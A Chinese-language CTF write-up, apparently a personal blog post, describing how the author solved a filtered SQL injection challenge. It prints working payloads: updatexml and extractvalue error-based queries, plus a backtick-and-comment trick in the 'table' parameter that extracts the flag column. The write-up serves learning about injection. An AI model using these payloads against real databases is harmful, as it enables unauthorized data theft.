一道题目
http://114.55.36.69:20680/
做了n久做不出,也不知道题目是哪里来的
咸鱼的我
过滤了*
,union
,column
所以爆出来表名就不知所措了
http://114.55.36.69:20680/index.php?table=news&id=1 or(updatexml(1,concat(0x7e,(SELECT distinct group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1))
=> '~error_flag,error_news~'
然后后感觉id
这里过滤好严,试一试table
那里
http://114.55.36.69:20680/index.php?table=news`%23&id=1
这样子应该是把他截断了,所以显示是正常的
然后很笨的我尝试在后边加东西发现….
啊,怎么没用
http://114.55.36.69:20680/index.php?table=news` where id =4 %23&id=1
我就是这么菜,就停在这里了
然后后来问了大佬
http://114.55.36.69:20680/index.php?table=news`%23`where id =4 %23&id=1 (%23是注释#)
知道这样子就可以了
大概是先desc
了table,然后table存在的情况下才进行查询,而且才知道table
这里过滤不严
按照大佬说的大概是
desc `error_${table}`;
-- table存在的话,再
select * from error_${table} where id = $id;
后来
问了下Bendawang师傅,果然。。。师傅做题就和切菜一样,几分钟丢回来一个答案
http://114.55.36.69:20680/index.php?table=flag`%23` where 0=extractvalue(1,(select flag_you_will_never_know from error_flag))%23`&id=1
他这个能够判断出有无table,只能是提前先执行了show COLUMNS 或是desc
然后学习了QAQ
这个
`#`....#
如果列名前缀有有一个`,那第一个`闭合了前面的`,然后第一个#就可以注释掉后面的
如果列名前缀没有`,那`#`就作为列名的别名,最后一个#起到注释作用
这里真的是学习了
后来的后来
查到了一篇wp,但还是不知道这题目从哪里来的
然后果然就是Bendawang师傅说的那样…真是好强啊(我好菜啊…)
顺便收一下大佬blog
然后突然发现在同一个ip还有一道题目 https://moe.sh/article/19